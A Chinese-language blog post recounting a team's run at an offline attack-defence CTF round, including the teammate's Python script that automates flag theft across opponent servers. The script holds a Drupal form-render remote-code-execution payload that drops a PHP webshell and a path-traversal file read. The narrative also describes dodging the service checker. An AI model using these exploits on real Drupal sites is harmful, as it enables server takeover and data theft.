“网鼎杯”线下AWD

pwn鼎杯,太菜了,被吊打。
IMG_1763.JPG
给了3个pwn服务器,1个web服务器。给的登陆用户为ctf,服务器用户为apache,需要用CTF用户在服务器登陆apache用户,然后写个马连上去才能传文件上WAF,很恶心。down源码,那时候服务器超级卡,下的超级慢,最后下了百分之80多服务器就炸了,然后伟哥骂我说怎么不打包再下载,233333。全程源码都没有下完,这也导致我们后半场很懵逼,不知道干啥,服务器崩了,数据库连不上,下的部分源码里也找不到数据库密码,让我们连登陆都登陆不进去,23333。最后重置服务器的时候才下下来,不过已经凉凉了。
web给的是DrupalCMS,刚开始伟哥直接找到了一个任意文件读取poc,我手动提交flag,伟哥写自动化脚本。但是70多台服务器,我每轮手动最多能交30个,因为点提交会弹出提交成功挡住提交按钮,需要等那个弹窗消失,很恶心。
拿着这个poc上去直接吊打全场,拿了第二,前三四个小时一直在前面,伟哥很快写出了自动化脚本。

import requests
import time
from base64 import b64encode
from multiprocessing.pool import ThreadPool
requests.packages.urllib3.disable_warnings()


def shell():
    # 429@gakki
    # pwd: f036dc60741d0b9496ddfecff23cff5b
    shell = open('shell.php', 'rb').read()
    return shell

def get_flag(flag):
    headers = {
        'Cookie': "ci_session_client=lkho4612tch87f2i0t27nb1h7olp8do8",
    }
    flag_url = 'https://172.16.4.1/Common/sub_answer'
    data = {
        'answer' : flag
    }
    resp = requests.post(flag_url, headers=headers, data=data, verify=False)

def exp1(host):
    url = 'http://{}/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'.format(host)
    payload = {
        'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup',
        'mail[#markup]': 'echo {} | base64 -d > /var/www/html/123.php'.format(b64encode(shell()))}
    r = requests.post(url, data=payload)

def exp2(host):
    try:
        url = 'http://{}:5072/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../flag'.format(host)
        r = requests.get(url)
        flag = r.content.strip()
        get_flag(flag)
    except Exception as e:
        print e

def work():
    while True:
        host = ['172.16.5.{}'.format(i) for i in range(10, 69)]
        Thread = ThreadPool(10)
        Thread.map(exp2, host)
        time.sleep(30)
        print "wait....."
if __name__ == '__main__':
    myhost = '172.16.9.27'
    # exp1(myhost)
    work()

脚本好像有问题,交不全,而且过一会还得重启一下,有两轮没有注意,脚本没有交flag。很恶心,感觉要是交全并且脚本没问题的话,刚开始能多拿很多分。不过伟哥最后把脚本修了一下,但是那时候每轮只能打不到20个,越想越亏。
然后就没有然后了,pwn爷爷们觉醒后,我们的3个pwn服务器从头被吊打到尾。更恶心的是web服务器从早上开始都炸了连不上去,我们也一直没有被打,就不管了,没想着重置。然后就全场懵逼,靠着这一个洞从头打到尾,后面这个洞基本都补完了,拿不到几个flag,然后每轮都掉很多分,GG了。
最后服务器被check了,旁边的几个队伍也都被check了,应该是有人找到了洞把我们的index.php删掉了。旁边队伍有个人在网站根目录建了个文件夹,把网站所有文件移动到这个文件夹里。然后建了个跟网站主页一样的index.html扔到网站根目录,这样竟然没有被check,这里不得不吐槽一下主办方的check机制了。我们也重置了服务器这样搞了一下,而且重置竟然不扣分,早知道早上就直接重置服务器了。
更恶心的是pwn可以rm -rf,这样就不会被打也不会被check。最后结束的时候才知道,如果开始直接这样做的话我们也不会从头被吊打到尾了,很恶心。
最后从第2一直掉到36,没办法没人会pwn,洞都不会补。pwn鼎杯,pwn鼎杯,pwn鼎杯!还是要多写脚本。